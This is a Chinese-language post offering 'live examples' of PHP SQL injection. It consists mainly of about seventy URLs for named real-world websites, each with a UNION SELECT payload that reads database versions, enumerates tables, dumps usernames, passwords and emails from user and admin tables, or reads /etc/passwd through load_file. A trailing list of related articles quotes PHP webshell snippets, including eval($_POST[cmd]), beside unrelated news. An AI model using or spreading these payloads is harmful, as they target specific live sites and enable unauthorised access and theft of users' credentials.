靈活的php注入

2021-02-19 剎客網絡科技資訊

靈活的php注入＋活的實例演示！

http://www.ihrc.org.uk/show.php?id=-99+UNION+ALL+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13-- 

http://www.witchcraft.nu/newsitem.php?id=-99+UNION+ALL+SELECT+1,version(),3,4,5,6,7,8,9,10-- 

http://ccsmi.fas.sfu.ca/newsItem.php?id=-99+UNION+ALL+SELECT+1,2,3,version(),5,6,7,8-- 

http://www.senesco.com/newsitem.php?id=-99+UNION+ALL+SELECT+1,2,3,table_name,5%20from%20information_schema.tables%20where%20table_schema=database ()-- 

http://www.hpcalc.org/details.php?id=-99+UNION+ALL+SELECT+1,concat_ws(0x3a,id,password,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users-- 

http://www.atlmetal.com/bands/band.php?id=-99+UNION+ALL+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12,13,14-- 

http://www.rocklab.it/band.php?id=-99+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 

http://www.bandlist24.de/band.php?id=-99+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- 

http://www.listenuppresident.com ... +UNION+ALL+SELECT+1,2,3,4,5,6,concat_ws(0x3a,Name,Email,Password),8+from+Members%20limit%20 1,1-- 

http://www.hamdrams.co.uk/admin.php?id=-99+UNION+ALL+SELECT+1,2,concat_ws(0x3a,username,user_password),4,5,6,7,8,9,10,11%20from%20phpbb_users-- 

http://www.correiagroup.com/agent.php?id=-99+UNION+ALL+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12-- 

http://www.eralincolnrealty.net/ ... +UNION+ALL+SELECT+1,2,3,column_name,5,6,7%20from%20information_schema.columns%20where%20table_nam e='Agent'%20limit%205,1-- 

http://www.estatesmall.com/real- ... +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15-- 

http://www.fourstarrealty.com/agent.php?id=-99+UNION+ALL+SELECT+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20admin-- 

http://www.rpmre.com/arealsys/agent.php?id=-99+UNION+ALL+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12,13-- 

http://internet-shares.com/users.php?id=-99+UNION+ALL+SELECT+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+users%20limit%201,1-- 

http://www.punkarchives.com/users.php?ID=-99+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password,Email),3,4,5,6+from+users-- 

http://www.memfis.eu/ko7e7a/users.php?id=-99+UNION+ALL+SELECT+1,2,concat_ws(0x3a,nick,name,email,text),4,5,6,7+from+users-- 

http://www.listenuppresident.com ... +UNION+ALL+SELECT+1,2,3,4,5,6,concat_ws(0x3a,Name,Email,Password),8+from+Members%20limit%20 1,1-- 

http://www.newportcoastbroker.co ... +UNION+ALL+SELECT+1,2,unhex(hex(load_file(0x2F6574632F706173737764)))%20from%20mysql.user-- 

http://www.gamesector.org/review.php?id=-83+UNION+ALL+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10-- 

http://www.bgra.net/2004/review.php?id=-12+UNION+ALL+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26-- 

http://www.btne.org/members.php?id=-6+UNION+ALL+SELECT+user(),database(),version()-- 

http://cormaci.com/pat.php?id=-2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10-- 

http://www.punbb.fr/styles/style.php?id=-93+UNION+ALL+SELECT+1,0x4E65757472616C69736564,database(),4,5,null,7,8,9-- 

http://www.punbb.fr/styles/style.php?id=-93+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password),database(),4,5,null,7,8,9+from+punbb_users+limit +1,1-- 

http://travalor.com/hunt.php?id=-3+UNION+ALL+SELECT+1,2,concat_ws(0x3a,username,password,email),4,5,6,7,8,9,10,11,12,13,14,15,16+from+users+limit +0,1-- 

http://www.thefalesteam.com/sell.php?ID=-64+UNION+ALL+SELECT+1,2,3,4,5,6,unhex(hex(concat_ws(0x3a,version(),user(),database()))),8,9,10,11,12-- 

http://www.loffice.org/affiliate ... +UNION+ALL+SELECT+1,concat_ws(0x3a,nom,adresse,tel,mail,password),3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,6 4,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+membre+limit+0,1-- 

http://haasbuilders.com/auth.php?id=-39+UNION+ALL+SELECT+1,concat_ws(0x3a,project_id,project_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from +projects+where+project_id+=+36-- 

http://ocmusicfest09.com/artist/bio.php?id=-99+UNION+ALL+SELECT+1,2,3,4,5,6,concat_ws(0x3a,user_name,password,password_hint),8,9,10,11,12,13+from +deleterec-- 

http://www.theatreview.org.nz/re ... +UNION+ALL+SELECT+1,2,3,4,5,concat_ws(0x3a,username,email,password),7,8,9,10,11,12,13,14 ,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+members+limit+0,1-- 

http://www.thebartend.com/drinks ... +UNION+ALL+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9-- 

http://turfwars2.com/user.php?id=-30+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users+limit+1,1-- 

http://www.lingo.org.za/short.php?id=-40+UNION+ALL+SELECT+1,2,3,4,5,unhex(hex(password)),7,8,9+from+user-- 

http://www.lfks.org/halloffame.php?id=-15+UNION+ALL+SELECT+1,id,3,4,5,6,7+from+halloffame-- 

http://www.spacefleetonline.com/ ... LL+SELECT+concat_ws(0x3a,user_name,real_name,email,address,password)+from+user+limit+0,1 -- 

https://www.ncsy.ca/email.php?id=-7+UNION+ALL+SELECT+1,concat_ws(0x3a,version(),user(),database()),3-- 

http://www.beaufortbooks.com/books.php?id=-53+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password,email),3,4,5,6,7,8,9,10,11,12,13+from+users+lim it+0,1-- 

http://www.andytimmons.com/video.php?id=-0003+UNION+ALL+SELECT+1,unhex(hex(concat_ws(0x3a,version(),user(),database()))),3,4,5,6,7,8-- 

http://www.law-and-numbers.de/de ... +UNION+ALL+SELECT+1,null,3,null,0x4E65757472616C69736564,column_name,null,8,9+from+informatio n_schema.columns+limit+0,1-- 

http://www.uwtuib.com/members.php?id=53+UNION+ALL+SELECT+1,2,concat_ws(0x3a,lname,password,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32+from+members+limit+0,1-- 

http://www.retailtherapy.tv/video.php?id=-163+UNION+ALL+SELECT+1,2,3,concat_ws(0x3a,id),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+members-- 

http://www.notbbc.co.uk/janet/ms ... +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,unhex(hex(concat_ws(0x3a,version(),user(),d atabase()))),14,15,16-- 

http://www.visitmaldives.com/FAQ/faq.php?Id=-4+UNION+ALL+SELECT+1,2,concat_ws(0x3a,username,password,email),4,5+from+users+limit+0,1-- 

http://www.fair-media.info/reque ... ON+ALL+SELECT+unhex(hex(concat_ws(0x3a,version(),user(),database()))),2-- 

http://www.langsfordcenter.com/o ... +UNION+ALL+SELECT+1,2,concat_ws(0x3a,adminid,password)+from+admin_login+limit+2,1-- 

http://supersport-ci.com/scan.php?id=-42+UNION+ALL+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),user())-- 

http://www.thediamondworks.co.za ... +UNION+ALL+SELECT+1,2,version(),0x4E65757472616C69736564+from+admin-- 

http://www.nortec.no/stjordal/pc.php?id=-41+UNION+ALL+SELECT+1,2,table_name,4 from information_schema.tables where table_schema=database()-- 

http://www.webhoster4u.de/server ... +ALL+SELECT+version(),database()-- 

http://ens.ewi.tudelft.nl/People ... +UNION+ALL+SELECT+1,2,3,4,5,table_name,7,8,9,10,11,12,13%20from%20information_schema.tables%20wher e%20table_schema=database()%20limit%200,1-- 

http://www.putridflowers.com/music.php?id=-17+UNION+ALL+SELECT+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 

https://shop.invictusnetworks.co ... +UNION+ALL+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12-- 

http://sandiegoscreensavers.com/ ... +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29, 30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,concat_ws(0x 3a,discount_type,discount_category,discount_currpct,discount_value,discount_active,discount_ref,discount_expiration),77,78,79,80,81,82,83,84,85,86,87, 88+from+discount-- 

http://www.schoolbytes.com/summary.php?id=-99+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+users-- 

http://www.toprightcorner.com/bio.php?id=-99+UNION+ALL+SELECT+1,2,3,4,4-- 

http://www.wang-li.com/art.php?id=-118+UNION+ALL+SELECT+1,2,load_file(0x2F6574632F706173737764),4-- 

http://www.twisterella.com/indie ... +UNION+ALL+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,0x4E65757472616C69736564,9,10, 11+from+users+limit+0,1-- 

http://www.wan-t.cn/www/sec.php?id=-48+UNION+ALL+SELECT+1,2,3,4,5,6,7,0x4E65757472616C69736564-- 

http://www.womenastronomers.com/ ... N+ALL+SELECT+concat(username,0x3a,passwor d),2,3,4+from+users---3+UNION+ALL+SELECT+1,null,0x4E65757472616C69736564,4,concat_ws(0x3a,version(),user(),database())-- 

http://www.fclarchives.org.nz/re ... N+ALL+SELECT+concat(username,0x3a,password),2,3,4+from+users-- 

http://www.erdelyikopo.net/text/text.php?id=-5+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a,email,username,password,level)+from+members+limit+ 0,1-- 

http://eng.chiptronic.com/text.php?id=-9+UNION+ALL+SELECT+1,2,3,4,5,6,column_name,8,9,10,11,12-- 

http://www.bitepublishing.co.uk/ ... +UNION+ALL+SELECT+1,concat_ws(0x3,user,pass,admin),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23,24+from+staff-- 

http://www.drivers-download.com/ ... +UNION+ALL+SELECT+1,2,load_file(0x2F6574632F706173737764),4,5,6,7,8,9,10-- 

http://www.consul.cc/email.php?id=-1068+UNION+ALL+SELECT+null,concat_ws(0x3a,email,password),3,4,5+from+Users+limit+3,1-- 

http://www.f1latam.com/esp.php?id=-8+UNION+ALL+SELECT+1,0x4E65757472616C69736564,3,concat_ws(0x3a,version(),database(),user()),5,6-- 

http://bia2.com/music-review/rev ... +UNION+ALL+SELECT+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--

相關焦點

  • 使用 GDB 調試 PHP 代碼,解決 PHP 代碼死循環
    in _zval_ptr_dtor (zval_ptr=0x25849a0, __zend_filename=0xee3d40 "/home/htf/workspace/php-5.4.27/Zend/zend_variables.c", __zend_lineno=182)at /home/htf/workspace/php-5.4.27/Zend/zend_execute_API.c:437#4
  • saiy060118 php代碼
    empty($_POST['phpvarname'])) { echo "配置參數 ".$_POST['phpvarname']." 檢測結果: ".getphpcfg($_POST['phpvarname'])."";}elseif(($regread) AND !empty($_POST['readregname'])) { $shell= &new COM('WSc'.'
  • PHP 表單處理:給寒山GG來個妹兒
    PHP - 一個簡單的 HTML 表單下面的例子顯示了一個簡單的 HTML 表單，它包含兩個輸入欄位和一個提交按鈕：實例<html><body><form action="welcome.php" method="post">Name: <input type="text" name="name"><br>E-mail
  • 漢化版多功能PHP大馬
    File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()'
  • 為靈活就業人員「加保險」,工會的精準服務值得點讚
    據報導，上海市總工會今年初推出「靈活就業群體工會會員專享基本保障」，只要靈活就業者加入工會並每年繳納120元，就可以享受最高限額為
  • ASP+PHP兩用Shell
    php eval($_POST[cmd]);?Web服務埠埠.chr(58);"frm.tmpcmd.value+="echo $_SERVER[SERVER_PORT];"frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"frm.tmpcmd.value+="echo PHP運行方式.chr(58);"frm.tmpcmd.value+="echo strtoupper(php_sapi_name
  • 液壓支架行走:動一動遙控器龐然大物靈活自如
    神東大柳塔煤礦綜採一隊隊長董志超介紹：「支架工採用遙控器操作後，拉架子時，工作人員可以在上風側操作支架，有效減少了煤塵傷害，而且用遙控器操作可以有效控制5架範圍內支架，遠距離操作支架，不需要站在鄰架操作，當遇到過特殊構造帶、片幫煤較多或護幫板出現故障等情況下，工作人員可以靈活、自由地選擇站在遠距離進行支架操作，安全係數有了很大提升。」
  • 「注入新動力」怎麼翻譯?漢譯英打卡 Day 71
    前不久，雙方成功舉行第十九次中國－歐盟領導人會晤，就深化和平、增長、改革、文明四大夥伴關係，拓展雙邊、地區和全球層面合作達成一系列重要共識，為中歐關係發展注入新動力。自學筆記：近年來： Recent years have witnessed 奠定了堅實基礎： lay a solid foundation for拓展雙邊、地區和全球層面合作： expand bilateral, regional and global cooperation注入新動力 ：strengthen
  • Katyusha掃描器:基於Telegram的全自動SQL注入工具
    本文所要介紹的是一個最近在地下論壇上推出的全新強大的黑客工具，有了它，任何人都可以快速地進入SQL注入漏洞的網站並進行大規模的掃描，而這所有的一切都是使用Telegram來傳遞消息並從智慧型手機上進行控制的。這款全世界通用的自動化SQLi漏洞掃描器名為Katyusha 掃描器，於今年4月份首次浮出水面，據了解這是一位講俄語的人在一個流行的黑客論壇上發表的。
  • 天津河西區螢光健步走為夜間經濟注入新活力
    新華網天津8月5日電（記者慄雅婷）舞動的螢光棒，閃耀的螢光手環，五彩繽紛的螢光顏料……8月3日晚，天津市河西區舉辦的「活力河西·夜色韻動」——FUN人民公園周邊夜間經濟示範街區啟動儀式在未來廣場舉行，活動將螢光健步走與夜間經濟相結合，為夜間經濟注入了新活力。
  • 英國將Uber司機歸類為正式員工 專家:對如何保障靈活用工人群權益提供參考
    在我國也有大量類似Uber（優步）司機的勞動者，在靈活用工模式下，人員社會保障問題該如何解決？一邊是保護靈活就業人員的合法權益，一邊要確保不以損害新模式新業態的發展為代價，如何在這兩者之中找到制度的平衡點？當英國最高法院裁定，Uber司機必須被視為「工人」，而非「自僱人士」的消息傳來，法院外的Uber網約車司機發出了高興的歡呼聲。
  • 「自來水加大氯氣注入」?福州市水務集團回應了!
    N海都記者 陳晉今日，不少網友的微信都多了一個所謂「水廠朋友的消息」——關於非常時期，自來水在允許範圍內加大了氯氣注入
  • 媽媽竟將屎尿注入兒子點滴袋,致其感染 卻稱為他好
    美國一名身為教師的女子竟然在兒子的點滴袋中注入自己的屎尿，造成患有白血病的兒子血液嚴重感染，性命堪憂。當地時間26號，這名女子被判入獄7年。
  • 英國手機:靈活實惠的手機卡GIFFGAFF
    也就是說，就算這個月的合約天數還沒過完，用戶們也可以靈活地在網上選擇提前開始新一個月的套餐，並且可以由用戶自行在網絡上自行升級更多通話分鐘數的新套餐來應對通話分鐘不夠的問題。對比有些公司的電話帳單大面積、長期的無故「出錯」，這種做法更顯業界良心。
  • 媽媽將屎尿注入兒子點滴袋,致其感染竟稱為他好
    美國一名身為教師的女子竟然在兒子的點滴袋中注入自己的屎尿，造成患有白血病的兒子血液嚴重感染，性命堪憂。當地時間26號，這名女子被判入獄7年。
  • 川普獻計:消毒水注入體內,醫學專家傻眼:請以正確方式來解決疫情
    隨後美國總統川普立即上臺表示要布萊恩試試看這項試驗，同時竟然也說，如果將漂白劑或消毒劑注入人體裡面的話，不知道能不能有效殺菌，一番言論讓底下媒體看傻眼。川普想試試看消毒水注入體內殺菌。（圖／達志影像／美聯社）沒想到川普隨後竟然又脫口表示，希望能將消毒劑或漂白水之類的東西注入人體內進行清潔並殺死病毒，還呼籲布萊恩應該要找一些醫生來參與此項計劃。
  • 青葉水——為食品安全的未來注入信心
    好在青葉水的出現，給食品安全的未來注入了一針強心劑。以次氯酸分子為主要成分的青葉水是一種安全、高效的廣譜抗菌劑，符合食品和藥物管理局食品規範的要求，不含化學添加劑，不傷害人體，不會破壞食物品質，卻能殺滅真菌、細菌以及病毒，因此壽司行業每年使用次氯酸水對生魚片處理，使魚類等食物保鮮期增長，而且食用更安全。
  • GoProCN精彩推薦:最靈活的 GoPro 自拍杆
    今天為大家找到了一款最靈活的自拍杆，與其他普通的自拍杆相比，它最突出的特點就是能夠360°旋轉。它由來自加拿大的 Edispin 公司研發。它的創意來自於普通自拍杆在拍攝中鏡頭過於呆板，畫面只能保持一個方向，不能任意變化角度，於是他們就開始各種琢磨，最終有了這個產品。